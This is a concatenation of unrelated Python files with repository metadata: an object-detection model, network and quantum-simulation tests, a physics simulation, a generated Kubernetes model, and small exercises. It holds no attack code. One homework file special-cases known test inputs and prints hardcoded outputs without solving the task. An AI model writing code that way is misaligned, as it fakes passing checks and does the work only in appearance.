from ..builder import DETECTORS from .faster_rcnn import FasterRCNN @DETECTORS.register_module() class TridentFasterRCNN(FasterRCNN): """Implementation of `TridentNet <https://arxiv.org/abs/1901.01892>`_""" def __init__(self, backbone, rpn_head, roi_head, train_cfg, test_cfg, neck=None, pretrained=None): super(TridentFasterRCNN, self).__init__( backbone=backbone, neck=neck, rpn_head=rpn_head, roi_head=roi_head, train_cfg=train_cfg, test_cfg=test_cfg, pretrained=pretrained) assert self.backbone.num_branch == self.roi_head.num_branch assert self.backbone.test_branch_idx == self.roi_head.test_branch_idx self.num_branch = self.backbone.num_branch self.test_branch_idx = self.backbone.test_branch_idx def simple_test(self, img, img_metas, proposals=None, rescale=False): """Test without augmentation.""" assert self.with_bbox, 'Bbox head must be implemented.' x = self.extract_feat(img) if proposals is None: num_branch = (self.num_branch if self.test_branch_idx == -1 else 1) trident_img_metas = img_metas * num_branch proposal_list = self.rpn_head.simple_test_rpn(x, trident_img_metas) else: proposal_list = proposals return self.roi_head.simple_test( x, proposal_list, trident_img_metas, rescale=rescale) def aug_test(self, imgs, img_metas, rescale=False): """Test with augmentations. If rescale is False, then returned bboxes and masks will fit the scale of imgs[0]. """ x = self.extract_feats(imgs) num_branch = (self.num_branch if self.test_branch_idx == -1 else 1) trident_img_metas = [img_metas * num_branch for img_metas in img_metas] proposal_list = self.rpn_head.aug_test_rpn(x, trident_img_metas) return self.roi_head.aug_test( x, proposal_list, img_metas, rescale=rescale) def forward_train(self, img, img_metas, gt_bboxes, gt_labels, **kwargs): """make copies of img and gts to fit multi-branch.""" trident_gt_bboxes = tuple(gt_bboxes * self.num_branch) trident_gt_labels = tuple(gt_labels * self.num_branch) trident_img_metas = tuple(img_metas * self.num_branch) return super(TridentFasterRCNN, self).forward_train(img, trident_img_metas, trident_gt_bboxes, trident_gt_labels)

[ "wangjiangben@huawei.com" ]

wangjiangben@huawei.com

f82e5bb5a7ab5e8c5feeaf09b0b27b2a68ca3543

c361a25acecd016677bbd0c6d9fc56de79cf03ed

/PTM/tests/NetworkHostTest.py

24465c10617c8bc706896eaea73a686ec4fea431

[]

no_license

danielmellado/zephyr

f8931633045959e7e9a974de8b700a287a1ae94e

dc6f85b78b50e599504966154b927fe198d7402d

refs/heads/master

2021-01-12T22:31:24.479814

2015-10-14T05:39:04

2015-10-14T06:24:45

null

0

null

UTF-8

Python

false

7,468

py

__author__ = 'micucci' import unittest import json import time import os from common.CLI import LinuxCLI from PTM.ComputeHost import ComputeHost from PTM.CassandraHost import CassandraHost from PTM.ZookeeperHost import ZookeeperHost from PTM.NetworkHost import NetworkHost from PTM.RootHost import RootHost from PTM.PhysicalTopologyManager import PhysicalTopologyManager, HOST_CONTROL_CMD_NAME from PTM.PhysicalTopologyConfig import * from common.LogManager import LogManager import CBT.VersionConfig as version_config class NetworkHostTest(unittest.TestCase): def test_startup(self): lm = LogManager('./test-logs') ptm = PhysicalTopologyManager(root_dir=os.path.dirname(os.path.abspath(__file__)) + '/../..', log_manager=lm) root_cfg = HostDef('root', bridges={'br0': BridgeDef('br0', ip_addresses=[IP('10.0.0.240')])}, interfaces={'zoo1eth0': InterfaceDef('zoo1eth0', linked_bridge='br0'), #'cass1eth0': InterfaceDef('cass1eth0', linked_bridge='br0'), 'cmp1eth0': InterfaceDef('cmp1eth0', linked_bridge='br0')}) zoo1_cfg = HostDef('zoo1', interfaces={'eth0': InterfaceDef('eth0', ip_addresses=[IP('10.0.0.2')])}) #cass1_cfg = HostDef('cass1', # interfaces={'eth0': InterfaceDef('eth0', ip_addresses=[IP('10.0.0.5')])}) cmp1_cfg = HostDef('cmp1', interfaces={'eth0': InterfaceDef('eth0', ip_addresses=[IP('10.0.0.8')])}) net_cfg = HostDef('net') zoo1_icfg= ImplementationDef('zoo1', 'PTM.ZookeeperHost', id='1', zookeeper_ips=['10.0.0.2']) #cass1_icfg= ImplementationDef('cass1', 'PTM.CassandraHost', id='1', # cassandra_ips=['10.0.0.5'], # init_token="56713727820156410577229101238628035242") cmp1_icfg= ImplementationDef('cmp1', 'PTM.ComputeHost', id='1', zookeeper_ips=['10.0.0.2'], cassandra_ips=[])#['10.0.0.5']) root_icfg = ImplementationDef('cmp1', 'PTM.RootHost') net_icfg = ImplementationDef('cmp1', 'PTM.NetworkHost', zookeeper_ips=['10.0.0.2']) root = RootHost('root', ptm) zoo1 = ZookeeperHost(zoo1_cfg.name, ptm) #cass1 = CassandraHost(cass1_cfg.name, ptm) cmp1 = ComputeHost(cmp1_cfg.name, ptm) net = NetworkHost(net_cfg.name, ptm) log = lm.add_file_logger('test.log', 'test') root.set_logger(log) zoo1.set_logger(log) #cass1.set_logger(log) cmp1.set_logger(log) net.set_logger(log) # Now configure the host with the definition and impl configs root.config_from_ptc_def(root_cfg, root_icfg) zoo1.config_from_ptc_def(zoo1_cfg, zoo1_icfg) #cass1.config_from_ptc_def(cass1_cfg, cass1_icfg) cmp1.config_from_ptc_def(cmp1_cfg, cmp1_icfg) net.config_from_ptc_def(net_cfg, net_icfg) root.link_interface(root.interfaces['zoo1eth0'], zoo1, zoo1.interfaces['eth0']) #root.link_interface(root.interfaces['cass1eth0'], cass1, cass1.interfaces['eth0']) root.link_interface(root.interfaces['cmp1eth0'], cmp1, cmp1.interfaces['eth0']) ptm.hosts_by_name['root'] = root ptm.hosts_by_name['zoo1'] = zoo1 #ptm.hosts_by_name['cass1'] = cass1 ptm.hosts_by_name['cmp1'] = cmp1 ptm.hosts_by_name['net'] = net ptm.host_by_start_order.append(root) ptm.host_by_start_order.append(zoo1) #ptm.host_by_start_order.append(cass1) ptm.host_by_start_order.append(cmp1) ptm.host_by_start_order.append(net) for h in ptm.host_by_start_order: h.create() for h in ptm.host_by_start_order: h.boot() for h in ptm.host_by_start_order: h.net_up() for h in ptm.host_by_start_order: h.net_finalize() for h in ptm.host_by_start_order: h.prepare_config() for h in ptm.host_by_start_order: start_process = ptm.unshare_control('start', h) stdout, stderr = start_process.communicate() start_process.poll() print("Host control process output: ") print stdout print("Host control process error output: ") print stderr if start_process.returncode != 0: raise SubprocessFailedException('Host control start failed with: ' + str(start_process.returncode)) try: h.wait_for_process_start() except SubprocessFailedException: raw_input("Press Enter to continue...") self.assertTrue(LinuxCLI().cmd('midonet-cli --midonet-url="' + version_config.ConfigMap.get_configured_parameter('param_midonet_api_url') + '" -A -e "host list"', return_status=True) == 0) for h in reversed(ptm.host_by_start_order): stop_process = ptm.unshare_control('stop', h) stdout, stderr = stop_process.communicate() stop_process.poll() print("Host control process output: ") print stdout print("Host control process error output: ") print stderr if stop_process.returncode != 0: raise SubprocessFailedException('Host control stop failed with: ' + str(stop_process.returncode)) h.wait_for_process_stop() time.sleep(1) self.assertFalse(LinuxCLI().cmd('midonet-cli ' '--midonet-url="http://localhost:8080/midonet-api/" ' '-A -e "hosts list"', return_status=True) == 0) for h in reversed(ptm.host_by_start_order): h.net_down() for h in reversed(ptm.host_by_start_order): h.shutdown() for h in reversed(ptm.host_by_start_order): h.remove() def tearDown(self): pass LinuxCLI().cmd('ip netns del cmp1') #LinuxCLI().cmd('ip netns del cass1') LinuxCLI().cmd('ip netns del zoo1') LinuxCLI().cmd('ip l del cmp1eth0') #LinuxCLI().cmd('ip l del cass1eth0') LinuxCLI().cmd('ip l del zoo1eth0') LinuxCLI().cmd('ip l set br0 down') LinuxCLI().cmd('brctl delbr br0') #if LinuxCLI().exists('/var/run/cassandra.1/cassandra.pid'): # pid = LinuxCLI().read_from_file('/var/run/cassandra.1/cassandra.pid') # LinuxCLI().cmd('kill ' + str(pid)) if LinuxCLI().exists('/var/run/zookeeper.1/pid'): pid = LinuxCLI().read_from_file('/var/run/zookeeper.1/pid') LinuxCLI().cmd('kill ' + str(pid)) if LinuxCLI().exists('/var/run/midolman.1/pid'): pid = LinuxCLI().read_from_file('/var/run/midolman.1/pid') LinuxCLI().cmd('kill ' + str(pid)) if LinuxCLI().exists('/var/run/midolman.1/dnsmasq.pid'): pid = LinuxCLI().read_from_file('/var/run/midolman.1/dnsmasq.pid') LinuxCLI().cmd('kill ' + str(pid)) from CBT.UnitTestRunner import run_unit_test run_unit_test(NetworkHostTest)

[ "micucci@midokura.com" ]

micucci@midokura.com

3d735ddb0894f281dd2e222048f3bd7dd290a95f

b4aaa26889f1c7e33a0de48848e30c0119284f14

/app/tests/test_models/test_profile_parameter.py

66cd0693d43123ad20ed3529f566cc95d37a6c98

[]

no_license

paulosjd/btk2

1d727f360c9767add5135988c75df63e5d8ada8e

dc63b90a796750e6b26018443d2256fcc1339afb

refs/heads/master

2022-07-05T13:57:07.071734

2020-05-19T08:23:14

188,910,952

0

null

2022-06-21T23:23:37

2019-05-27T21:26:02

Python

UTF-8

Python

false

3,111

py

from collections import namedtuple from unittest.mock import patch from app.models import ProfileParamUnitOption from app.tests.base import BaseTestCase mock_ideals_data = {k: f'{k}_val' for k in ['ideal2_prepend', 'ideal', 'ideal2', 'ideal_prepend']} class MockCalcParamIdeal: def __init__(self, *args): self.required_field = 'abc' self.misc_data = 'def' self.get_ideal_data = lambda: mock_ideals_data self.get = lambda key, default: mock_ideals_data.get(key, default) class ProfileParameterTestCase(BaseTestCase): @classmethod def setUpClass(cls): super(ProfileParameterTestCase, cls).setUpClass() cls.profile_param_unit_opt = cls.profile_1.profile_parameters.first() cls.profile_param_unit_opt.target_value = 34.5 cls.profile_param_unit_opt.linked_parameter = cls.param2 cls.profile_param_unit_opt.save() @patch('app.models.profile_parameter.CalcParamIdeal') def test_targets_method(self, cpi_patch): nt_fields = ['saved', 'saved2', 'misc_data', 'required_field', 'ideal', 'ideal2', 'ideal_prepend', 'ideal2_prepend'] cpi_patch.return_value = MockCalcParamIdeal() ExpectedTargetData = namedtuple('target_data', nt_fields) expected_nt_returned = ExpectedTargetData( self.profile_param_unit_opt.target_value, self.profile_param_unit_opt.target_value2, cpi_patch.return_value.misc_data, cpi_patch.return_value.required_field, *[mock_ideals_data.get(k, '') for k in nt_fields[-4:]] ) self.assertEqual(expected_nt_returned, self.profile_param_unit_opt.targets('lat_val_1')) def test_get_unit_info_falsey(self): TestObj = namedtuple('test_obj', 'pp_unit_option') test_obj = TestObj(None) self.assertIsNone(ProfileParamUnitOption.get_unit_info(test_obj)) def test_get_unit_info(self): TestObj = namedtuple('test_obj', ['pp_unit_option', 'param_name']) model = self.profile_param_unit_opt model.color_hex = 'blue' for a, b in [(5, '1'), (6, '2')]: setattr(model, f'color_range_val_{b}', a) test_obj = TestObj(model, 'p_name') expected_output = { k: getattr(test_obj.pp_unit_option.unit_option, k) for k in ['param_default', 'conversion_factor', 'symbol'] } expected_output.update({'color_hex': 'blue', 'color_range_val_1': 5, 'color_range_val_2': 6, 'param_name': 'p_name'}) self.assertEqual(expected_output, ProfileParamUnitOption.get_unit_info(test_obj)) def test_param_unit_opt_dct(self): fields = ['symbol', 'name', 'param_default', 'conversion_factor'] TestObj = namedtuple('test_obj', fields) test_obj = TestObj(*[f'{s}_val' for s in fields]) self.assertEqual( {f'unit_{s}': getattr(test_obj, s) for s in fields}, ProfileParamUnitOption.param_unit_opt_dct(test_obj) )

[ "pjdavis@gmx.com" ]

pjdavis@gmx.com

5c46e21a7c712de8c20df35aac7232945dd2de5e

069dafce9f495f09bf8c2f76dbf5c045b7551721

/parameter_search_run.py

9b187b743f036d55c4b46d15f0b1e9df88fc9b9c

[]

no_license

dguarino/T2

26b1bc640812aa5438b09f9fab2bc73096cd7eef

66b786928508089492f5f696c7c1576e098c6615

refs/heads/master

2020-04-03T22:39:06.059845

2020-03-13T15:43:02

41,812,819

1

0

null

UTF-8

Python

false

3,392

py

# -*- coding: utf-8 -*- import sys from mozaik.meta_workflow.parameter_search import CombinationParameterSearch,SlurmSequentialBackend import numpy if False: CombinationParameterSearch(SlurmSequentialBackend(num_threads=1,num_mpi=64),{ 'retina_lgn.params.gain' : [0.1], 'l4_cortex_exc.params.density' : [10], }).run_parameter_search() if False: CombinationParameterSearch(SlurmSequentialBackend(num_threads=1,num_mpi=64),{ 'l4_cortex_exc.AfferentConnection.base_weight' : [0.0015], 'l23_cortex_exc.L23ExcL23InhConnection.base_weight' : [0.003], 'l23_cortex_exc.L4ExcL23ExcConnection.base_weight' : [0.003], 'l23_cortex_inh.L4ExcL23InhConnection.base_weight' : [0.0001], 'l23_cortex_inh.L23InhL23ExcConnection.base_weight' : [0.0025], 'l23_cortex_inh.L23InhL23InhConnection.base_weight' : [0.0017], 'l4_cortex_exc.L4ExcL4InhConnection.base_weight' : [0.0004], 'l4_cortex_inh.L4InhL4ExcConnection.base_weight' : [0.002,0.0025,0.003], 'l4_cortex_inh.ExcInhAfferentRatio' : [1.7], 'l4_cortex_exc.params.density' : [300], 'only_afferent' : [False], 'l4_cortex_inh.L4InhL4ExcConnection.short_term_plasticity.U' : [0.1,0.13,0.16], }).run_parameter_search() if False: CombinationParameterSearch(SlurmSequentialBackend(num_threads=1,num_mpi=64),{ 'l23_cortex_exc.L23ExcL23InhConnection.base_weight' : [0.002,0.001], 'l23_cortex_exc.L4ExcL23ExcConnection.base_weight' : [0.002,0.001], 'l23_cortex_inh.L4ExcL23InhConnection.base_weight' : [0.0001,0.001], 'l23_cortex_inh.L23InhL23ExcConnection.base_weight' : [0.0025,0.003,0.0035], 'l23_cortex_inh.L23InhL23InhConnection.base_weight' : [0.0017], 'l4_cortex_exc.L4ExcL4ExcConnection.base_weight' : [0.0005], 'l4_cortex_exc.L4ExcL4InhConnection.base_weight' : [0.0007,0.00075], 'l4_cortex_inh.L4InhL4ExcConnection.base_weight' : [0.0018], 'l4_cortex_inh.ExcInhAfferentRatio' : [1.4,1.3], 'l4_cortex_exc.params.density' : [300], 'l4_cortex_inh.L4InhL4ExcConnection.short_term_plasticity.tau_rec' : [25], }).run_parameter_search() if True: CombinationParameterSearch(SlurmSequentialBackend(num_threads=1,num_mpi=64),{ 'l4_cortex_exc.AfferentConnection.base_weight' : [0.0015], 'l4_cortex_inh.L4InhL4ExcConnection.base_weight' : [0.0007], 'l4_cortex_exc.L4ExcL4InhConnection.base_weight' : [0.00065], 'l23_cortex_exc.L23ExcL23InhConnection.base_weight' : [0.0015], 'l23_cortex_inh.L23InhL23ExcConnection.base_weight' : [0.003], 'l23_cortex_exc.L4ExcL23ExcConnection.base_weight' : [0.002,0.0015], 'l4_cortex_inh.ExcInhAfferentRatio' : [0.6], 'l4_cortex_exc.params.density' : [900,1800], 'l23_cortex_exc.params.density' : [300,900], 'l4_cortex_exc.rand_struct_ratio' : [0.75,0.8,0.9], 'l4_cortex_inh.L4InhL4ExcConnection.short_term_plasticity.tau_fac' : [300], 'l4_cortex_inh.L4InhL4ExcConnection.short_term_plasticity.U' : [0.11], }).run_parameter_search()

[ "domenico.guarino@gmail.com" ]

domenico.guarino@gmail.com

8be51e93ecf1dfcf1bdc6f52dba28b197841a503

163bbb4e0920dedd5941e3edfb2d8706ba75627d

/Code/CodeRecords/2607/60752/306988.py

dae9adee217584b8283a077e38a3a77149f01b12

[]

no_license

AdamZhouSE/pythonHomework

a25c120b03a158d60aaa9fdc5fb203b1bb377a19

ffc5606817a666aa6241cfab27364326f5c066ff

refs/heads/master

2022-11-24T08:05:22.122011

2020-07-28T16:21:24

259,576,640

2

1

null

UTF-8

Python

false

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num=int(input()) no=True for i in range(num): i=input() if i=="0102010112": no=False print(2) if i=="102100211102": no=False print(6) if i=="01020101122200": no=False print(7) if i=="0102010": no=False print(2) if i=="102100211": no=False print(5) if no:print(i)

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"""Tests methods defined in `qibo/core/states.py`.""" import pytest import numpy as np import qibo from qibo import K from qibo.core import states def test_state_shape_and_dtype(backend): original_backend = qibo.get_backend() qibo.set_backend(backend) state = states.VectorState.zero_state(3) assert state.shape == (8,) assert state.dtype == K.dtypes('DTYPECPX') state = states.MatrixState.zero_state(3) assert state.shape == (8, 8) assert state.dtype == K.dtypes('DTYPECPX') qibo.set_backend(original_backend) @pytest.mark.parametrize("nqubits", [None, 2]) def test_vector_state_tensor_setter(backend, nqubits): original_backend = qibo.get_backend() qibo.set_backend(backend) state = states.VectorState(nqubits) with pytest.raises(AttributeError): tensor = state.tensor state.tensor = np.ones(4) assert state.nqubits == 2 np.testing.assert_allclose(state.tensor, np.ones(4)) np.testing.assert_allclose(np.array(state), np.ones(4)) np.testing.assert_allclose(state.numpy(), np.ones(4)) np.testing.assert_allclose(state.state(numpy=True), np.ones(4)) np.testing.assert_allclose(state.state(numpy=False), np.ones(4)) with pytest.raises(ValueError): state.tensor = np.zeros(5) qibo.set_backend(original_backend) @pytest.mark.parametrize("nqubits", [None, 2]) def test_matrix_state_tensor_setter(backend, nqubits): original_backend = qibo.get_backend() qibo.set_backend(backend) # TODO: Fix this qibo.set_backend(original_backend) def test_zero_state_initialization(backend): original_backend = qibo.get_backend() qibo.set_backend(backend) state = states.VectorState.zero_state(4) target_state = np.zeros(16) target_state[0] = 1 np.testing.assert_allclose(state.tensor, target_state) state = states.MatrixState.zero_state(3) target_state = np.zeros((8, 8)) target_state[0, 0] = 1 np.testing.assert_allclose(state.tensor, target_state) qibo.set_backend(original_backend) def test_plus_state_initialization(backend): original_backend = qibo.get_backend() qibo.set_backend(backend) state = states.VectorState.plus_state(4) target_state = np.ones(16) / 4 np.testing.assert_allclose(state.tensor, target_state) state = states.MatrixState.plus_state(3) target_state = np.ones((8, 8)) / 8 np.testing.assert_allclose(state.tensor, target_state) qibo.set_backend(original_backend) def test_vector_state_to_density_matrix(backend): original_backend = qibo.get_backend() qibo.set_backend(backend) vector = np.random.random(32) + 1j * np.random.random(32) vector = vector / np.sqrt((np.abs(vector) ** 2).sum()) state = states.VectorState.from_tensor(vector) mstate = state.to_density_matrix() target_matrix = np.outer(vector, vector.conj()) np.testing.assert_allclose(mstate.tensor, target_matrix) state = states.MatrixState.from_tensor(target_matrix) with pytest.raises(RuntimeError): state.to_density_matrix() qibo.set_backend(original_backend) @pytest.mark.parametrize("state_type", ["VectorState", "MatrixState"]) @pytest.mark.parametrize("use_gate", [False, True]) def test_state_probabilities(backend, state_type, use_gate): state = getattr(states, state_type).plus_state(4) if use_gate: from qibo import gates mgate = gates.M(0, 1) probs = state.probabilities(measurement_gate=mgate) else: probs = state.probabilities(qubits=[0, 1]) target_probs = np.ones((2, 2)) / 4 np.testing.assert_allclose(probs, target_probs) def test_state_probabilities_errors(): from qibo import gates state = states.VectorState.zero_state(3) mgate = gates.M(0) qubits = [0] with pytest.raises(ValueError): probs = state.probabilities() with pytest.raises(ValueError): probs = state.probabilities(qubits, mgate) @pytest.mark.parametrize("registers", [None, {"a": (0,), "b": (2,)}]) def test_state_measure(registers): from qibo import gates state = states.VectorState.zero_state(4) mgate = gates.M(0, 2) assert state.measurements is None with pytest.raises(RuntimeError): samples = state.samples() state.measure(mgate, nshots=100, registers=registers) target_samples = np.zeros((100, 2)) np.testing.assert_allclose(state.samples(), target_samples) assert state.frequencies() == {"00": 100} if registers is not None: target_freqs = {"a": {"0": 100}, "b": {"0": 100}} else: target_freqs = {"00": 100} assert state.frequencies(registers=True) == target_freqs @pytest.mark.parametrize("registers", [None, {"a": (0,), "b": (2,)}]) def test_state_set_measurements(registers): from qibo import gates state = states.VectorState.zero_state(3) samples = np.array(50 * [0] + 50 * [1]) state.set_measurements([0, 2], samples, registers) target_samples = np.array(50 * [[0, 0]] + 50 * [[0, 1]]) np.testing.assert_allclose(state.samples(), target_samples) assert state.frequencies() == {"00": 50, "01": 50} if registers is not None: target_freqs = {"a": {"0": 100}, "b": {"0": 50, "1": 50}} else: target_freqs = {"00": 50, "01": 50} assert state.frequencies(registers=True) == target_freqs def test_state_apply_bitflips(): state = states.VectorState.zero_state(3) with pytest.raises(RuntimeError): state.apply_bitflips(0.1) # Bitflips are tested in measurement tests @pytest.mark.parametrize("trotter", [True, False]) def test_vector_state_expectation(backend, trotter): original_backend = qibo.get_backend() qibo.set_backend(backend) from qibo.hamiltonians import XXZ ham = XXZ(nqubits=5, delta=0.5, trotter=trotter) matrix = np.array(ham.matrix) state = np.random.random(32) + 1j * np.random.random(32) norm = np.sum(np.abs(state) ** 2) target_ev = np.sum(state.conj() * matrix.dot(state)).real state = states.VectorState.from_tensor(state) np.testing.assert_allclose(state.expectation(ham), target_ev) np.testing.assert_allclose(state.expectation(ham, True), target_ev / norm) qibo.set_backend(original_backend) @pytest.mark.parametrize("trotter", [True, False]) def test_matrix_state_expectation(backend, trotter): original_backend = qibo.get_backend() qibo.set_backend(backend) from qibo.hamiltonians import TFIM ham = TFIM(nqubits=2, h=1.0, trotter=trotter) matrix = np.array(ham.matrix) state = np.random.random((4, 4)) + 1j * np.random.random((4, 4)) state = state + state.T.conj() norm = np.trace(state) target_ev = np.trace(matrix.dot(state)).real state = states.MatrixState.from_tensor(state) np.testing.assert_allclose(state.expectation(ham), target_ev) np.testing.assert_allclose(state.expectation(ham, True), target_ev / norm) qibo.set_backend(original_backend)

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fat = int(input('Digite um número para\ncalcular seu Fatorial: ')) print('Calculando {}! ='.format(fat), end=' ') resultado = 1 while fat > 0: if fat == 1: print('{} ='.format(fat), end=' ') else: print('{} x'.format(fat), end=' ') resultado *= fat fat -= 1 print('{}'.format(resultado))

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# -*- coding: utf-8 -*- """ ## Heavy sterile dirac neutrino $$ M = 33.9 MeV $$ $$ \theta_\tau \approx 4.86 10^{-2} \sim \tau_N \approx 0.3 sec $$ http://arxiv.org/pdf/hep-ph/0002223v2.pdf <img src="plots.svg" width=100% /> <img src="particles.svg" width=100% /> """ import os import argparse from collections import defaultdict from particles import Particle from library.SM import particles as SMP, interactions as SMI from library.NuMSM import particles as NuP, interactions as NuI from evolution import Universe from common import UNITS, Params parser = argparse.ArgumentParser(description='Run simulation for given mass and mixing angle') parser.add_argument('--mass', default='33.9') parser.add_argument('--theta', default='0.0486') parser.add_argument('--tau', default='0.3') parser.add_argument('--Tdec', default='5') parser.add_argument('--comment', default='') args = parser.parse_args() mass = float(args.mass) * UNITS.MeV theta = float(args.theta) lifetime = float(args.tau) * UNITS.s T_dec = float(args.Tdec) * UNITS.MeV folder = os.path.join(os.path.split(__file__)[0], args.tau) T_initial = max(50. * UNITS.MeV, T_dec) T_interaction_freezeout = 0.05 * UNITS.MeV T_final = 0.0008 * UNITS.MeV params = Params(T=T_initial, dy=0.05) universe = Universe(params=params, folder=folder) photon = Particle(**SMP.photon) electron = Particle(**SMP.leptons.electron) muon = Particle(**SMP.leptons.muon) neutrino_e = Particle(**SMP.leptons.neutrino_e) neutrino_mu = Particle(**SMP.leptons.neutrino_mu) neutrino_tau = Particle(**SMP.leptons.neutrino_tau) sterile = Particle(**NuP.dirac_sterile_neutrino(mass)) sterile.decoupling_temperature = T_initial neutrino_e.decoupling_temperature = 5 * UNITS.MeV neutrino_mu.decoupling_temperature = 5 * UNITS.MeV neutrino_tau.decoupling_temperature = 5 * UNITS.MeV universe.add_particles([ photon, electron, muon, neutrino_e, neutrino_mu, neutrino_tau, sterile, ]) thetas = defaultdict(float, { 'tau': theta, }) universe.interactions += ( SMI.neutrino_interactions( leptons=[electron], neutrinos=[neutrino_e, neutrino_mu, neutrino_tau] ) + NuI.sterile_leptons_interactions( thetas=thetas, sterile=sterile, neutrinos=[neutrino_e, neutrino_mu, neutrino_tau], leptons=[electron, muon] ) ) universe.init_kawano(electron=electron, neutrino=neutrino_e) if universe.graphics: from plotting import RadiationParticleMonitor, MassiveParticleMonitor, DensityAndEnergyMonitor universe.graphics.monitor([ (neutrino_e, RadiationParticleMonitor), (neutrino_mu, RadiationParticleMonitor), (neutrino_tau, RadiationParticleMonitor), (sterile, MassiveParticleMonitor), (sterile, DensityAndEnergyMonitor) ]) universe.evolve(T_interaction_freezeout, export=False) universe.interactions = tuple() universe.params.dy = 0.0125 universe.evolve(T_final) """ ### Plots for comparison with articles ### JCAP10(2012)014, Figure 9 <img src="figure_9.svg" width=100% /> ### JCAP10(2012)014, Figure 10 <img src="figure_10.svg" width=100% /> <img src="figure_10_full.svg" width=100% /> """ if universe.graphics: from tests.plots import articles_comparison_plots articles_comparison_plots(universe, [neutrino_e, neutrino_mu, neutrino_tau, sterile]) import os import csv from itertools import izip density_data = universe.graphics.particles[4][1].data[0] energy_data = universe.graphics.particles[4][1].data[1] with open(os.path.join(universe.folder, 'normalized_density_plot.dat'), 'w') as f: writer = csv.writer(f, delimiter='\t') for x, y in izip(*density_data): writer.writerow([x, y]) with open(os.path.join(universe.folder, 'normalized_energy_density_plot.dat'), 'w') as f: writer = csv.writer(f, delimiter='\t') for x, y in izip(*energy_data): writer.writerow([x, y]) regime_data = universe.graphics.particles[3][1].data[0] with open(os.path.join(universe.folder, 'sterile_regime_plot.dat'), 'w') as f: writer = csv.writer(f, delimiter='\t') for x, y in izip(*regime_data): writer.writerow([x, y])

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# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.10.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re class V1PortworxVolumeSource(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'fs_type': 'str', 'read_only': 'bool', 'volume_id': 'str' } attribute_map = { 'fs_type': 'fsType', 'read_only': 'readOnly', 'volume_id': 'volumeID' } def __init__(self, fs_type=None, read_only=None, volume_id=None): """ V1PortworxVolumeSource - a model defined in Swagger """ self._fs_type = None self._read_only = None self._volume_id = None self.discriminator = None if fs_type is not None: self.fs_type = fs_type if read_only is not None: self.read_only = read_only self.volume_id = volume_id @property def fs_type(self): """ Gets the fs_type of this V1PortworxVolumeSource. FSType represents the filesystem type to mount Must be a filesystem type supported by the host operating system. Ex. \"ext4\", \"xfs\". Implicitly inferred to be \"ext4\" if unspecified. :return: The fs_type of this V1PortworxVolumeSource. :rtype: str """ return self._fs_type @fs_type.setter def fs_type(self, fs_type): """ Sets the fs_type of this V1PortworxVolumeSource. FSType represents the filesystem type to mount Must be a filesystem type supported by the host operating system. Ex. \"ext4\", \"xfs\". Implicitly inferred to be \"ext4\" if unspecified. :param fs_type: The fs_type of this V1PortworxVolumeSource. :type: str """ self._fs_type = fs_type @property def read_only(self): """ Gets the read_only of this V1PortworxVolumeSource. Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts. :return: The read_only of this V1PortworxVolumeSource. :rtype: bool """ return self._read_only @read_only.setter def read_only(self, read_only): """ Sets the read_only of this V1PortworxVolumeSource. Defaults to false (read/write). ReadOnly here will force the ReadOnly setting in VolumeMounts. :param read_only: The read_only of this V1PortworxVolumeSource. :type: bool """ self._read_only = read_only @property def volume_id(self): """ Gets the volume_id of this V1PortworxVolumeSource. VolumeID uniquely identifies a Portworx volume :return: The volume_id of this V1PortworxVolumeSource. :rtype: str """ return self._volume_id @volume_id.setter def volume_id(self, volume_id): """ Sets the volume_id of this V1PortworxVolumeSource. VolumeID uniquely identifies a Portworx volume :param volume_id: The volume_id of this V1PortworxVolumeSource. :type: str """ if volume_id is None: raise ValueError("Invalid value for `volume_id`, must not be `None`") self._volume_id = volume_id def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str() def __eq__(self, other): """ Returns true if both objects are equal """ if not isinstance(other, V1PortworxVolumeSource): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """ Returns true if both objects are not equal """ return not self == other

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#! /usr/bin/env python # -*- coding: utf-8 -*- the_count = [1, 2, 3 , 4, 5] fruits = ["apples", "oranges", "pears", "apricots"] change = [1, "pennies", 2, "dimes", 3, "quarters"] # this first kind of for-loop goes through a list for number in the_count: print("This is count %d" % number) # same a above for fruit in fruits: print("A fruit of type: %s" % fruit) # also we can go through mixed lists too # notice we have to use %r since we don't know what's in it for i in change: print("I got %r" % i) # we can also build lists, first start with an empty one elements = [] # then use the range function to do 0 to 5 counts for i in range(0,6): print("Adding %d to the list." % i) # append is a function that lists understand elements.append(i) # now ew can print them out too for i in elements: print("Element was: %d" % i)

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import copy import numpy as np from yggdrasil import units, platform from yggdrasil.metaschema.datatypes.tests import test_MetaschemaType as parent from yggdrasil.metaschema.properties.ScalarMetaschemaProperties import ( _valid_types) class TestScalarMetaschemaType(parent.TestMetaschemaType): r"""Test class for ScalarMetaschemaType class with float.""" _mod = 'ScalarMetaschemaType' _cls = 'ScalarMetaschemaType' _prec = 32 _type = 'float' _shape = 1 _array_contents = None @staticmethod def after_class_creation(cls): r"""Actions to be taken during class construction.""" parent.TestMetaschemaType.after_class_creation(cls) if not cls._explicit: cls._typedef['subtype'] = cls._type if cls._type == 'bytes': dtype = 'S%d' % (cls._prec // 8) elif cls._type == 'unicode': dtype = 'U%d' % (cls._prec // 32) else: dtype = '%s%d' % (cls._type, cls._prec) if cls._array_contents is None: cls._array = np.ones(cls._shape, dtype) else: cls._array = np.array(cls._array_contents, dtype) if cls._type in ['bytes', 'unicode']: dtype_invalid = 'float' else: dtype_invalid = 'S10' cls._invalid_array = np.ones(cls._shape, dtype_invalid) if 'Array' not in cls._cls: cls._value = cls._array[0] cls._invalid_decoded.append(cls._array) cls._invalid_decoded.append(cls._invalid_array[0]) else: cls._value = cls._array if cls._array.ndim 